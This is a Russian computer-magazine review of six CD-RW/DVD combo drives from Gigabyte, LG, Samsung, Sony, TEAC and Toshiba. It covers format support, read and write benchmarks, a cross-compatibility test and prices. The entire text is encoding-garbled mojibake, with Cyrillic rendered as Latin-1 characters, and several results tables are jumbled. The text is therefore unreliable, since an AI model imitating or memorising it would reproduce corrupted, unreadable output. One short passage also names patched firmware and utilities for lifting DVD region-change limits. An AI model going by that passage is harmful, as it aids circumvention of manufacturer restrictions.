Â õîäå íàïðÿæåííûõ òåñòîâ âñå ïðèâî-
äû çàìåòíî íàãðåâàëèñü. Â ñïåöèôèêà-
öèè ïðèâîäà TOSHIBA ïðÿìî óêàçàíî,
÷òî óñòðîéñòâî ìîæåò íàãðåâàòüñÿ äî
50 ãðàäóñîâ, îñòàëüíûå ïðîèçâîäèòå-
ëè î òåìïåðàòóðå óìîë÷àëè. Ïî ðåçóëü-
òàòàì òåñòîâ, ìåíüøå âñåõ ãðååòñÿ äå-
âàéñ GIGABITE, áîëüøå âñåõ - TEAC.

ÐÀÇÍÎÎÁÐÀÇÈÅ ÔÎÐÌÀÒÎÂ
Êàê òåáå, äîëæíî áûòü, èçâåñòíî, ñ

ìîìåíòà ïîÿâëåíèÿ ñòàíäàðòíà CD-DA
(àóäèîäèñê) äëÿ íåãî áûëà ðàçðàáîòà-
íà êó÷à äîïîëíåíèé è ðàñøèðåíèé,
ñâÿçàííûõ ñ áîëåå ðàöèîíàëüíûì èñ-
ïîëüçîâàíèåì äèñêîâîãî ïðîñòðàíñòâà
- CD-ROM mode1 è mode2 (äèñêè íà 63 è
74 ìèíóòû), ñ ïðîäâèíóòîé êîððåêöèåé
îøèáîê - CD-ROM XA, ñ õðàíåíèåì ðàç-
ëè÷íûõ òèïîâ äàííûõ (VideoCD, CD-
Xtra, Photo-CD, Mixed CD è ò.ä.). Ïðåäñ-
òàâëåííûõ êîìáî-äðàéâû ïîääåðæèâà-
þò ïðàêòè÷åñêè âñå óêàçàííûå ôîðìà-
òû, çà èñêëþ÷åíèåì òàêîé ýêçîòèêè, êàê
CD-G/M (àóäèîäèñê ñî ñëîåì ñòàòè÷íûõ
êàðòèíîê, òåêñòà è MIDI, èñïîëüçóåòñÿ
äëÿ êàðàîêå) - åãî íå ïîääåðæèâàþò
GIGABITE è LG.
CD-R/RW ïîääåðæèâàåòñÿ âñåìè ïðè-
âîäàìè â ïîëíîì îáúåìå. Äîñòóïíû:
ìíîãîñåññèîííàÿ çàïèñü (Multi-
Session), ïàêåòíàÿ çàïèñü (Packet
Writing), äèñê íà ëåòó (Disc at Once), ñåñ-
ñèÿ íà ëåòó (Session at Once), òðåê íà
ëåòó (Track at Once) è ò.ä.
×òî êàñàåòñÿ DVD, òî ïðîèçâîäèòåëè
òàê è íå ñìîãëè ïðèéòè ê åäèíîìó ôîð-
ìàòó. Â íàñòîÿùåå âðåìÿ ñóùåñòâóåò 6
ôîðìàòîâ çàïèñè DVD (DVD-ROM, DVD-
R for General, DVD-R for Authoring, DVD-
RAM, DVD-RW, DVD+R, DVD+RW). Ñîâ-
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ÑÏÈÑÎÊ ÓÑÒÐÎÉÑÒÂ

GIGABYTE 
GO-W0404A

LG 
GCC-4480B

SAMSUNG 
SM-352B

SONY Combo
CRX300E

TEAC 
DW-548D

TOSHIBA 
SD-R1312



ðåìåííûé êîìáàéí äîëæåí ÷èòàòü âñå
ýòè ôîðìàòû, ÷òîáû þçåð íå çàäóìû-
âàëñÿ, ñ êàêèì èìåííî äèñêîì îí èìååò
äåëî, çà èñêëþ÷åíèåì, áûòü ìîæåò,
DVD-RAM, êîòîðûé íå î÷åíü ðàñïðîñò-
ðàíåí. Ó÷àñòíèêè òåñòèðîâàíèÿ, ïî äàí-
íûì Nero Infotool, ñîâìåñòèìû ñî âñåìè
ôîðìàòàìè DVD, çà èñêëþ÷åíèåì DVD-
RAM. DVD-RAM type 2 (áåç êàðòðèäæà)
ïîääåðæèâàþò òîëüêî TOSHIBA (âõîäèò
â ñîîòâåòñòâóþùèé êîíñîðöèóì) è
SAMSUNG.

ÒÅÕÍÎËÎÃÈÈ
Äëÿ CD-RW-ïðèâîäà î÷åíü âàæíî

íàëè÷èå çàùèòû îò îïóñòîøåíèÿ áó-
ôåðà (Buffer Underrun Protection), òàê
êàê â ñëó÷àå îïóñòîøåíèÿ áóôåðà
ïðîèçîéäåò îøèáêà, è èíôîðìàöèÿ
ñòàíåò íå÷èòàåìîé. Òàêîé çàùèòîé îá-
ëàäàþò âñå óñòðîéñòâà èç îáçîðà.
Ñîâðåìåííûå ïðèâîäû òàêæå äîëæíû
ïîääåðæèâàòü òåõíîëîãèþ Mount
Rainier, êîòîðàÿ ïîçâîëÿåò ôîðìàòè-
ðîâàòü CD-R/RW-äèñê íà ëåòó è ðàáî-
òàòü ñ íèì â Windows XP, êàê ñ îáû÷-
íîé äèñêåòîé. Ýòó òåõíîëîãèþ, ïî äàí-
íûì Nero Infotool, íå ïîääåðæèâàþò
òîëüêî ïðèâîäû GIGABYTE è TOSHIBA.

ÈÍÒÅÐÔÅÉÑ
Ïðèâîäû, ïðåäñòàâëåííûå â îáçî-

ðå, èìåþò IDE(ATAPI) èíòåðôåéñ. Ïè-
êîâàÿ ñêîðîñòü ïåðåäà÷è äàííûõ ÷å-
ðåç èíòåðôåéñ (Burst Rate) íà ñîðîêà-
æèëüíîì øëåéôå, ñîãëàñíî ñïåöèôè-
êàöèÿì, ó âñåõ óñòðîéñòâ ñîñòàâëÿåò
16,6 Ìá/ñ, íà âîñüìèäåñÿòèæèëüíîì -
33,3 Ìá/ñ.

ÏÐÎØÈÂÊÈ
Òàêæå î÷åíü áîëüøîé ïðîáëåìîé

äëÿ íàøåé ñòðàíû ÿâëÿåòñÿ îãðàíè÷å-
íèå êîëè÷åñòâà ñìåíû çîí DVD. Äåëî â
òîì, ÷òî ïðè ïðîñìîòðå DVD ñ ôèëüìîì
â äåâàéñ àâòîìàòè÷åñêè ïðîïèñûâàåòñÿ
ñîîòâåòñòâóþùàÿ çîíà, è ñ÷åò÷èê
óìåíüøàåòñÿ íà åäèíèöó. Ñìåíèòü çîíó
ìîæíî 5 ðàç. Òàêèì îáðàçîì, íåëüçÿ
äîëãî ñìîòðåòü äèñêè, ïðåäíàçíà÷åííûå
äëÿ ðàçíûõ ðåãèîíîâ. Îäíàêî ñóùåñòâó-
þò ïðîïàò÷åííûå ïðîøèâêè, ïîçâîëÿþ-
ùèå ñíÿòü îãðàíè÷åíèå: äëÿ SAMSUNG -
X802, äëÿ TOSHIBA - Õ012, ÕÍ13 è ÕÀ06.
À òàêæå óòèëèòû: äëÿ SONY - LtnFlash,

äëÿ GIGABYTE, LG è TEAC, âîçìîæíî,
ïîäîéäåò DVD Region free.

ÒÅÑÒÈÐÎÂÀÍÈÅ
Èòàê, ïåðåõîäèì ê ñàìîìó èíòåðåñ-

íîìó - ê ïðîâåðêå äåâàéñîâ â ðàáîòå.
Ïî íàøåìó ìíåíèþ, â ðàáîòå óñòðîé-
ñòâî, ïðåæäå âñåãî, äîëæíî îòëè÷àòüñÿ
ñòàáèëüíîñòüþ, ñïîñîáíîñòüþ ïðî-
÷åñòü ïðàêòè÷åñêè ëþáîé äèñê è êà÷å-
ñòâåííî çàïèñàòü CD-R/RW, äàæå åñëè
ïðè ýòîì îíî íåñêîëüêî óñòóïàåò â ñêî-
ðîñòè êîíêóðåíòàì.
Åùå äî èñïîëüçîâàíèÿ òåñòîâûõ ïðîã-
ðàìì ìû ïîïðîáîâàëè ïðîñìîòðåòü
ôèëüì â DivX, çàïèñàííûé íà CD-R, òàê
êàê èìåííî ïðè ýòîé îïåðàöèè êðèòè÷-
íà ñòàáèëüíàÿ ñêîðîñòü ïåðåäà÷è, à
ïðîöåññîð çàãðóæåí ðàñêîäèðîâàíèåì
çâóêà è âèäåî. Âñå ïðèâîäû ñïðàâè-
ëèñü ñ ýòîé çàäà÷åé õîðîøî, è õîòÿ
âðåìÿ îïðåäåëåíèÿ äèñêà è ñêîðîñòü
ïîèñêà íóæíîãî ôðàãìåíòà íåçíà÷è-
òåëüíî îòëè÷àëèñü, â ïðîöåññå ïðîñ-
ìîòðà íàèáîëåå áûñòðûõ ñöåí òîðìî-
çîâ çàìå÷åíî íå áûëî. Äèñêè ñ äàííû-
ìè ðàñïîçíàâàëèñü áûñòðî, ôàéëû
ñ÷èòûâàëèñü áåç ïðîáëåì.

×ÒÅÍÈÅ CD ÐÀÇÍÎÃÎ ÊÀ×ÅÑÒÂÀ
Ïåðâûì èñïûòàíèåì ñòàëî ÷òåíèå

CD-ROM ñ áîëüøèì êîëè÷åñòâîì íåãëó-
áîêèõ öàðàïèí íà îòðàæàþùåé ïîâåðõ-
íîñòè. Ëó÷øå âñåõ, ïî íàøåìó ìíåíèþ,
ñ ýòèì òåñòîì ñïðàâèëñÿ ïðèâîä LG, òàê
êàê ñðàçó îïðåäåëèë õàðàêòåð äèñêà,
ïðî÷åë åãî ðîâíî, íå ñíèæàÿ óãëîâîé
ñêîðîñòè (æåëòûé ãðàôèê), è ïîêàçàë

ëó÷øåå âðåìÿ ïîèñêà, ðàñïîçíàâàíèÿ
äèñêà è ìèíèìàëüíóþ çàãðóçêó ïðîöåñ-
ñîðà. Ýòè ðåçóëüòàòû ïåðåâåøèâàþò ïî-
êàçàòåëè ñðåäíåé ñêîðîñòè ïåðåäà÷è è
âðåìåíè ïîëíîãî ïðî÷òåíèÿ äèñêà, òàê
êàê â æèçíè ïîëüçîâàòåëþ ÷àùå íåîá-
õîäèìû ñòàáèëüíàÿ ïåðåäà÷à äàííûõ è
áûñòðûé äîñòóï ê ëþáîé ÷àñòè äèñêà.
Âòîðîé ðåçóëüòàò ïîêàçàë GIGABYTE, íà
òðåòüåì ìåñòå SAMSUNG. Õóæå âñåõ
ýòîò òåñò ïðîøåë TEAC, êîòîðûé íåñ-
êîëüêî ðàç íåîïðàâäàííî ïûòàëñÿ ïîä-
íÿòü ñêîðîñòü íà ïëîõîì ó÷àñòêå.
Äëÿ ïðîâåðêè ýòèõ ðåçóëüòàòîâ ìû äà-
ëè òåñòèðóåìûì óñòðîéñòâàì ïðî÷èòàòü
CD-ROM ñ çàâîäñêèì áðàêîì (ïëîõîé
îáëàñòüþ â êîíöå äèñêà). SONY, GIGA-
BYTE è TOSHIBA ýòîò òåñò ïðîéòè íå
ñìîãëè. Ëó÷øå âñåãî ñ çàäà÷åé îïÿòü
ñïðàâèëñÿ ïðèâîä LG, êîòîðûé ñðàçó
âçÿë íåâûñîêóþ ñêîðîñòü è íåìíîãî
ñêèíóë åå â ïðîáëåìíîé îáëàñòè. Âòî-
ðûì îêàçàëñÿ TEAC, êîòîðûé, íàáðàâ
âûñîêóþ ñêîðîñòü íà õîðîøåì ó÷àñòêå,
ïëàâíî ñêèíóë åå äî ìèíèìóìà íà ïëî-
õîì. Òðåòèé - SAMSUNG, êîòîðûé ïîñòî-
ÿííî ïûòàëñÿ ðàçîãíàòüñÿ íà ïëîõîì
ó÷àñòêå, èç-çà ÷åãî åìó ïîíàäîáèëîñü
çíà÷èòåëüíî áîëüøå ïîïûòîê, ÷òîáû
ïðî÷åñòü åãî.

ÇÀÏÈÑÜ CD-R
Äëÿ òåñòà ìû âçÿëè âûñîêîñêîðîñò-

íûå (1Õ-48Õ) CD-R DigiteX. Òåñò çàêëþ-
÷àëñÿ â òîì, ÷òî Nero CD Speed çàáèâàë
áîëâàíêó ïîä çàâÿçêó ìóñîðíûìè ôàé-
ëàìè, ïðè ýòîì ñíèìàëèñü ïîêàçàòåëè, à
ïîñëå ïðîæèãà òîò æå äðàéâ òåñòèðîâàë
êà÷åñòâî äèñêà. Ìû ñ÷èòàåì, ÷òî CD-RW-
ïðèâîä äîëæåí ÷èòàòü áåç îøèáîê õîòÿ
áû ñâîè äèñêè.
Ëó÷øèå ðåçóëüòàòû ïîêàçàë äåâàéñ
LG. Îí èñïîëüçîâàë ïðîäâèíóòûé ìå-
òîä çàïèñè P-CAV è äîñòèã ñâîåé ìàê-
ñèìàëüíîé ñêîðîñòè çàïèñè (40Õ) ê
ñåðåäèíå äèñêà, ïðàâäà, ê êîíöó áîë-
âàíêè åìó ïðèøëîñü ñêèíóòü ñêî-
ðîñòü äî 32Õ. Ïî âðåìåíè LG óñòóïèë
òîëüêî SAMSUNG. Ïîñëåäóþùàÿ ïðî-
âåðêà êà÷åñòâà äèñêà ïîêàçàëà èäå-
àëüíî ðîâíûé ãðàôèê è ïîëíîå îòñó-
òñòâèå îøèáîê - áåçóñëîâíûé ëèäåð.
Âòîðóþ ïîçèöèþ çàíèìàåò ïðèâîä
SAMSUNG, êîòîðûé òàêæå ñäåëàë
ñòàâêó íà P-CAV, äîñòèã ìàêñèìàëü-
íîé ñêîðîñòè (40Õ) ê ñåðåäèíå äèñêà
è áîëüøå åå íå ñíèæàë, áëàãîäàðÿ
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CAV (Constant Angular Velocity) - ïîñòîÿííàÿ óãëîâàÿ ñêîðîñòü.
Ïðèâîä ïîääåðæèâàåò ïîñòîÿííóþ ñêîðîñòü âðàùåíèÿ øïèíäåëÿ,
÷òî îòðàæàåòñÿ íà ñêîðîñòè ïåðåäà÷è äàííûõ.

P-CAV (Partial Constant Angular Velocity) - ÷àñòè÷íî ïîñòîÿííàÿ
óãëîâàÿ ñêîðîñòü. Ñêîðîñòü ïåðåäà÷è ïîñòåïåííî óâåëè÷èâàåòñÿ,
ïîêà ïðèâîä íå äîñòèãíåò ñâîåé ìàêñèìàëüíîé óãëîâîé ñêîðîñòè,
çàòåì ïðèâîä áóäåò çàìåäëÿòü ñêîðîñòü âðàùåíèÿ øïèíäåëÿ, è
ñêîðîñòü ïåðåäà÷è äàííûõ ñòàíåò ïîñòîÿííîé. Ïîñêîëüêó ïðè P-
CAV ïðèâîä äîñòèãàåò ñâîåé ìàêñèìàëüíîé ñêîðîñòè áûñòðåå, ÷åì
ïðè CAV, ñðåäíÿÿ ñêîðîñòü ïåðåäà÷è äàííûõ äîëæíà áûòü âûøå.

CLV (Constant Linear Velocity) - ïîñòîÿííàÿ ëèíåéíàÿ ñêîðîñòü.
Ïðèâîä ïîääåðæèâàåò ïîñòîÿííóþ ñêîðîñòü ïåðåäà÷è äàííûõ ïó-
òåì ïîñòåïåííîãî ñíèæåíèÿ óãëîâîé ñêîðîñòè.

ÌÅÒÎÄÛ ×ÒÅÍÈß/ÇÀÏÈÑÈ

»

Î
Ô
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Ï

È
Ê

GIGABITE LG SAMSUNG SONY TEAC TOSHIBA

Ñêîðîñòü ïåðåäà÷è

Ñðåäíÿÿ 4.85 X 6.27 X 6.55 X 6.16 X 6.15 X 6.35 X

Ñòàðòîâàÿ 2.65 X 3.41 X 3.58 X 2.41 X 2.41 X 3.45 X

Êîíå÷íàÿ 3.36 X 4.34 X 4.54 X 4.27 X 4.24 X 4.40 X

Ìåòîä CAV CAV CAV CAV CAV CAV

Âðåìÿ ïîèñêà

Ñëó÷àéíîãî 111 ms 102 ms 95 ms 102 ms 103 ms N/A

1/3 126 ms 105 ms 108 ms 120 ms 120 ms N/A

Ïîëíîãî 168 ms 156 ms 176 ms 197 ms 213 ms N/A

Èñïîëüçîâàíèå ÖÏ

1X 1% 1% 1% 1% 1% 1%

Ìàêñèìàëüíàÿ ñêîðîñòü 2% 2% 1% 1% 2% 3%

Ïèêîâàÿ ñêîðîñòü 0.88 Ìá/ñåê 1.13 Ìá/ñåê 1.18 Ìá/ñåê N/A N/A 1.14 Ìá/ñåê

Ðàñïîçíîâàíèå äèñêà 9.62 ñåê 5.79 ñåê 3.47 ñåê 6.27 ñåê 6.32 ñåê 6.21 ñåê

Òåñò - ÷òåíèå Video-DVD 7.23 GB
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÷åìó ïðîæåã áîëâàíêó áûñòðåå âñåõ.
Ïðè ïðîâåðêå áûëî íàéäåíî 18 îøè-
áîê â íà÷àëå äèñêà, ãðàôèê - ïðàêòè-
÷åñêè ðîâíûé. Òðåòèé - äåâàéñ GIGA-
BYTE. Îí èñïîëüçîâàë ìåòîä CAV è
ñïðàâèëñÿ ñ ïðîæèãîì â ÷èñëå ïåð-
âûõ. Ïðîâåðêà òàêæå ïîêàçàëà ïðàê-
òè÷åñêè ðîâíûé ãðàôèê è 2 îøèáêè â
ñàìîì íà÷àëå. Ïðèâîä SONY ïîêàçàë
íåïëîõèå ðåçóëüòàòû. Ïðè ðîâíîì ãðà-
ôèêå çàïèñè è âðåìåíè, áëèçêîì ê ëè-
äåðàì, îí ñäåëàë 265 îøèáîê â íà÷àëå
äèñêà. TEAC âçÿë âûñîêèé òåìï ñ ñàìî-
ãî íà÷àëà, íî ê êîíöó äèñêà, ãäå íàè-
áîëüøàÿ ëèíåéíàÿ ñêîðîñòü (çåëåíûé
ãðàôèê), ðåçêî ñíèçèë ñêîðîñòü è ñäå-
ëàë áîëüøîå êîëè÷åñòâî îøèáîê. Àóò-
ñàéäåð - TOSHIBA. Èñïîëüçóÿ ìåòîä
CLV, ýòîò ïðèâîä ñ ïîñòîÿííîé ñêî-
ðîñòüþ 12Õ (õîòÿ çàÿâëåííàÿ â ñïåöè-
ôèêàöèè ñêîðîñòü - 32Õ) ìó÷èë áîë-
âàíêó 7 ìèíóò. Ïðè ïðîâåðêå ïîêàçàë
ëîìàíûé ãðàôèê è áîëüøîå êîëè÷åñò-
âî îøèáîê â êîíöå äèñêà.

ÊÐÎÑÑÒÅÑÒ
Íà î÷åðåäè òåñò ïîä êîäîâûì íàç-

âàíèåì "Çàëîæè ñîñåäà" :). Ïðåëåñòü
ýòîãî òåñòà çàêëþ÷àåòñÿ â òîì, ÷òî êàæ-
äûé èç ó÷àñòíèêîâ òåñòèðîâàíèÿ ìîæåò
ïîäïîðòèòü ðåçóëüòàòû ñîïåðíèêàì, íî
ïðè ýòîì ðèñêóåò ïîêàçàòü è ñâîè íåäîñ-
òàòêè òîæå. Ìû ïðîâåëè òåñò ñêîðîñòè
ïåðåäà÷è è ïðîâåðêó êà÷åñòâà äèñêîâ,
íàðåçàííûõ òåñòèðóåìûìè äåâàéñàìè,
ïëþñ îäíîé NoName áîëâàíêè, çàïèñàí-
íîé íåèçâåñòíûì ïðèâîäîì, íà êàæäîì
èç ó÷àñòíèêîâ òåñòà ïëþñ êîíòðîëüíîì
CD-RW SONY CRX210E. Ðåçóëüòàòû íàã-
ëÿäíåå âñåãî ïðåäñòàâëåíû â òàáëèöå 3.
Ê ñîæàëåíèþ, îáúåì ìàòåðèàëà íå ïîç-
âîëÿåò ïîìåñòèòü â ñòàòüþ âñå ãðàôèêè,
êîòîðûå, êñòàòè, î÷åíü èíòåðåñíû, ïîý-
òîìó ñäåëàåì íåêîòîðûå ïîÿñíåíèÿ.
Îøèáêè, îáíàðóæåííûå íåêîòîðûìè
ó÷àñòíèêàìè òåñòà ïðè ïðîâåðêå êà÷å-
ñòâà äèñêà, çà÷àñòóþ ÿâëÿþòñÿ ñëåä-
ñòâèåì íåäîñòàòêîâ ñàìîãî ïðèâîäà è
íå ïîäòâåðæäàþòñÿ äðóãèìè óñòðîéñòâà-

ìè. Íàïðèìåð, SONY ïëîõî ÷èòàåò â íà÷à-
ëå äèñêà. TEAC, LG è SONY íå î÷åíü õî-
ðîøî ñ÷èòûâàþò äàííûå áëèæå ê êîíöó
äèñêà. TOSHIBA íå ñòåñíÿåòñÿ ñêèíóòü â
ýòèõ îáëàñòÿõ óãëîâóþ ñêîðîñòü, ïîýòîìó
äåëàåò ìåíüøå îøèáîê, íî ïðîèãðûâàåò
â ñêîðîñòè è äàåò ëîìàíûé ãðàôèê. Ïðè-
âîä TEAC õóæå âñåõ çàïèñûâàåò â êîíöå
äèñêà, ïîýòîìó íåóäèâèòåëüíî, ÷òî ýòîò
äèñê âîîáùå íå ñìîãëè ïðî÷èòàòü LG è
SONY, à îñòàëüíûå ïðèâîäû çàôèêñèðî-
âàëè áîëüøîå êîëè÷åñòâî îøèáîê.
Òàêæå íàäî ó÷èòûâàòü, ÷òî áëèæå ê êîíöó
äèñêà (ê åãî âíåøíåé îáëàñòè) ëèíåéíàÿ
ñêîðîñòü, òî åñòü êîëè÷åñòâî ýëåìåíòîâ,
êîòîðûå ñ÷èòûâàåò/çàïèñûâàåò ãîëîâêà â
åäèíèöó âðåìåíè, óâåëè÷èâàåòñÿ. Êðîìå
òîãî, âèáðàöèÿ äèñêà âîçðàñòàåò èìåííî ó
êðàåâ. Òàêèì îáðàçîì, ïðè çàïèñè è ÷òå-
íèè ýòèõ îáëàñòåé âîçíèêàåò áîëüøå
îøèáîê. Èìåííî ýòî è ñëó÷èëîñü ñ äèñêîì,
çàïèñàííûì ïðèâîäîì SAMSUNG, êîòîðûé
ïëîõî ïðî÷èòàëè äåâàéñû LG è SONY, íå
î÷åíü õîðîøî âîñïðèíèìàþùèå ñëàáûå
îáëàñòè íà âûñîêîé ñêîðîñòè. Îñòàëüíûå
ïðèâîäû, âêëþ÷àÿ êîíòðîëüíûé, ñïðàâè-
ëèñü ñ ýòèì äèñêîì áåç ïðîáëåì.
Èòàê, ñàìûå êà÷åñòâåííûå äèñêè çàïèñà-
ëè ïðèâîäû SONY è GIGABYTE, LG è SAM-
SUNG ïîêàçàëè ïðèåìëåìîå êà÷åñòâî, ñà-
ìûé íåêà÷åñòâåííûé äèñê çàïèñàë TEAC.
Ñòàáèëüíåå âñåõ CD-R ÷èòàëè GIGABYTE
è SAMSUNG, õóæå âñåõ ñ òåñòîì ñïðàâèë-
ñÿ ïðèâîä SONY.

×ÒÅÍÈÅ DVD
Â íàñòîÿùåå âðåìÿ þçåðàìè íàèáî-

ëåå øèðîêî èñïîëüçóþòñÿ èìåííî Video
DVD. Äëÿ ÷òåíèÿ òàêîãî ðîäà äàííûõ âû-
ñîêèå ñêîðîñòè íå íóæíû. Îäíàêî ñêîðî
data DVD ïîëó÷àò áîëüøåå ðàñïðîñòðà-
íåíèå ñðåäè ïîëüçîâàòåëåé, ïîýòîìó ìû
ïðîâåëè âñå íåîáõîäèìûå òåñòû. Ëó÷øå
âñåõ ñ òåñòîì ñïðàâèëèñü SAMSUNG, êî-
òîðûé ïðî÷åë äèñê áûñòðåå âñåõ, è LG,
êîòîðûé ñ÷èòûâàë èíôîðìàöèþ äîñòà-
òî÷íî áûñòðî è ñòàáèëüíåå âñåõ. Îñòàëü-
íûå ó÷àñòíèêè ïîêàçàëè ïðèìåðíî ðàâ-
íûå ðåçóëüòàòû.
Â äîïîëíåíèå ê ýòîìó òåñòó ìû çàïèñà-
ëè CD+RW íà ïðèâîäå GIGABITE è ïðî-
âåëè òåñò ÷òåíèÿ ýòîãî äèñêà. SONY è
TEAC âûïîëíèëè òåñò áûñòðåå âñåõ.
SAMSUNG ÷èòàë äèñê áûñòðî, íî íåñ-
òàáèëüíî. LG è TOSHIBA ïðî÷ëè äèñê
ìåäëåííåå, íî ðîâíî.

Ïî ðåçóëüòàòàì âñåõ òåñòîâ âèäíî, ÷òî
èäåàëüíûé êîìáî-ïðèâîä òåáå âðÿä ëè
âñòðåòèòñÿ, òàê ÷òî äåëàé âûáîð, èñõîäÿ
èç òåõ ïàðàìåòðîâ, êîòîðûå âàæíû èìåí-
íî äëÿ òåáÿ. Ìû æå ïðèñóæäàåì âûáîð
ðåäàêöèè ïðèâîäó SAMSUNG, êîòîðûé
ïîðàäîâàë íàñ ñâîèì äèçàéíîì è ïîêà-
çàë âûñîêèå ðåçóëüòàòû ïðàêòè÷åñêè âî
âñåõ òåñòàõ, à òàêæå ðåêîìåíäóåì ïðè-
âîä LG, êîòîðûé õîòÿ è íå ëèäèðóåò ïî
ñêîðîñòíûì ïîêàçàòåëÿì, íî ñòàáèëüíî
÷èòàåò áîëüøèíñòâî äèñêîâ è íåïëîõî
çàïèñûâàåò CD-R/RW. Òàêæå õî÷åòñÿ îò-
ìåòèòü ïðèâîä GIGABYTE, êîòîðûé ïðî-
õîäèò ó íàñ âíå êîíêóðñà, òàê êàê ÿâëÿåò-
ñÿ DVD+/-R/RW, íî ýòî ñàìîå ñòàáèëüíîå
óñòðîéñòâî â îáçîðå.                           A

GIGABITE LG SAMSUNG SONY TEAC TOSHIBA

Äèñê Data CD Data CD Data CD Data CD Data CD Data CD

Åìêîñòü 79:59.73 79:59.73 79:59.73 79:59.73 79:59.73 79:59.73

Ñêîðîñò ü çàïèñè

Âèä çàïèñè DAO DAO DAO DAO DAO DAO

Ñòàðòîâàÿ ñêîðîñòü 19.15x 21.89x 22.05x 19.05x 18.99x 11.88x

Êîíå÷íàÿ ñêîðîñòü 23.73x 31.98x 39.55x 41.84x 16.01x 11.88x

Ñðåäíÿÿ ñêîðîñòü 31.57x 32.34x 34.97x 31.83x 29.65x 11.88x 

Ìåòîä CAV P-CAV P-CAV CAV CAV CAV

Êîëè÷åñòâî îøèáîê âòîðîãî

óðîâíÿ
2 0 18 265 2747 3153

Âðåìÿ çàïèñè 3.11 ìèí 3.01 ìèí 2.52 ìèí 3.03 ìèí 3.27 ìèí 7.09 ìèí

Âðåìÿ òåñòà ñêîðîñòè

ïåðåäà÷è
2:19 ìèí 2:53 ìèí 2:21 ìèí 2:35 ìèí 2:34 ìèí 2:33 ìèí

Òåñò - çàïèñü CD-R

Òåñò - ÷òåíèå CD ñðåäíåãî êà÷åñòâà

GIGABITE LG SAMSUNG SONY TEAC TOSHIBA

Äèñê Data CD Data CD Data CD Data CD Data CD Data CD

Åìêîñòü 65:18.23 65:18.23 65:18.23 65:18.23 65:18.23 65:18.23

Ñêîðîñò ü ïåðåäà÷è äàííûõ

Ñòàðòîâàÿ 17.83x 14.16x 19.42x 17.92x 21.16x 18.50x

Êîíå÷íàÿ 26.12x 30.57x 22.25x 7.16x 9.45x 29.51x

Ñðåäíÿÿ 28.96x 23.28x 29.42x 27.47x 29.03x 27.93x

Ìåòîä CAV CAV CAV CAV CAV CAV

Âðåìÿ ïîçèöèîíèðîâàíèÿ

Ñëó÷àéíîå 95 ms 84 ms 96 ms 113 ms 169 ms N/A

1/3 100 ms 94 ms 108 ms 98 ms 104 ms N/A

Ïîëíîå 171 ms 165 ms 173 ms 470 ms 186 ms N/A

Èñïîëüçîâàíèå ïðîöåññîðà

1X 0% 0% 1% 5% 2% 3%

2X 1% 1% 1% 7% 5% 1%

4X 2% 2% 3% 18% 9% 3%

8X 5% 5% 6% 24% 16% 15%

Ïèêîâàÿ ñêîðîñòü 1177 Êá/ñåê 1422 Êá/ñåê 831 Êá/ñåê N/A N/A 1473 Êá/ñåê

Âðåìÿ ðàñïîçíîâàíèÿ äèñêà 9.11 ñåê 5.31 ñåê 8.19 ñåê 6.45 ñåê 6.72 ñåê 7.37 ñåê

Âðåìÿ òåñòà ñêîðîñòè ïåðåäà÷è 2:19 ìèí 2:53 ìèí 2:21 ìèí 2:35 ìèí 2:34 ìèí 2:33 ìèí

CD
GIGABITE LG SAMSUNG SONY TEAC TOSHIBA NONAME

Ïðèâîä

GIGABITE 5 5 4 3 4 4

LG 4 2 5 0 5 4

SAMSUNG 5 5 4 2 5 3

SONY 2 5 1 0 2 2

TEAC 5 2 4 5 3 2

TOSHIBA 4 4 4 5 3 4

ÊÎÍÒÐÎËÜÍÛÉ 5 3 5 5 2 5 2

Êðîññòåñò - ÷òåíèå CD-R, çàïèñàííûõ ó÷àñòíèêàìè òåñòèðîâàíèÿ, âñåìè îñòàëüíûìè ïðèâîäàìè
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SAMSUNG COMBO DRIVE CD-RW/DVD SM-352B

SAMSUNG - ÷òåíèå ïîöàðàïàííîãî CD-ROM SAMSUNG SM-352B

SAMSUNG - çàïèñü CD-R

Ïðèâîä SAMSUNG èìååò î÷åíü ïðèÿòíûé äèçàéí è
óäîáíóþ ïîäñâå÷èâàþùóþñÿ êíîïêó âûáðîñà ëîòêà. Â

ðàáîòå ýòî óñòðîéñòâî äîâîëüíî òèõîå è íå èçäàåò
ïîñòîðîííèõ çâóêîâ ïðè ÷òåíèè äèñêîâ. Ëîòîê âûåçæàåò òèõî.

Ïðèâîä SAMSUNG ïîêàçàë âûñîêèå ðåçóëüòàòû êàê ïðè
÷òåíèè, òàê è ïðè çàïèñè äèñêîâ. Òàêæå äåâàéñ íåïëîõî
ñïðàâèëñÿ ñ íåêà÷åñòâåííûìè äèñêàìè.

Ðàçìåð áóôåðà:
8 Ìá
×òåíèå:
CD/CD-R - 52Õ
CD-RW - 52Õ
DVD-ROM - 16Õ
DVD+/-R/RW - 16Õ
Çàïèñü:
CD-R - 40Õ
CD-RW - 24Õ

»

Öåíà: $56

LG COMBO DRIVE CD-RW/DVD GCC-4480B

LG - ÷òåíèå ïîöàðàïàííîãî CD-ROM LG GCC-4480B

LG - çàïèñü CD-R

Óñòðîéñòâî LG èìååò ïðèÿòíóþ êðóãëóþ êíîïî÷êó âûá-
ðîñà ëîòêà. Ñàì ëîòîê äâèãàåòñÿ äîâîëüíî òèõî. Â ðàáî-

òå LG äàåò ïðèåìëåìûé óðîâåíü øóìà è íå èçäàåò íåîáû÷íûõ
çâóêîâ.

Ýòîò äðàéâ ïîêàçàë âûñîêèå ðåçóëüòàòû ïðè ÷òåíèè äèñêîâ
â ñî÷åòàíèè ñ ïðèåìëåìîé ñêîðîñòüþ è íåïëîõî ñïðàâèëñÿ ñ
çàïèñüþ CD-R.

Ðàçìåð áóôåðà:
2 Ìá
×òåíèå:
CD/CD-R - 48Õ
CD-RW - 48Õ
DVD-ROM - 16Õ
DVD+/-R/RW - 16Õ
Çàïèñü:
CD-R - 40Õ
CD-RW - 24Õ

»

Öåíà: $52

SONY COMBO DRIVE CD-RW/DVD CRX300E

SONY - ÷òåíèå ïîöàðàïàííîãî CD-ROM SONY CRX300E

SONY - çàïèñü CD-R

Ïðèâîä SONY èìååò ñòàíäàðòíîå îôîðìëåíèå è íåó-
äîáíóþ êíîïêó âûáðîñà ëîòêà. Ëîòîê äâèãàåòñÿ äîâîëü-

íî ãðîìêî. Â ðàáîòå ïðèâîä èçäàåò ïðèåìëåìûé óðîâåíü øó-
ìà, îäíàêî ïðè ïîçèöèîíèðîâàíèè ãîëîâîê è ðàñïîçíàâàíèè
äèñêà ñëûøåí íåïðèÿòíûé ñêðèï.

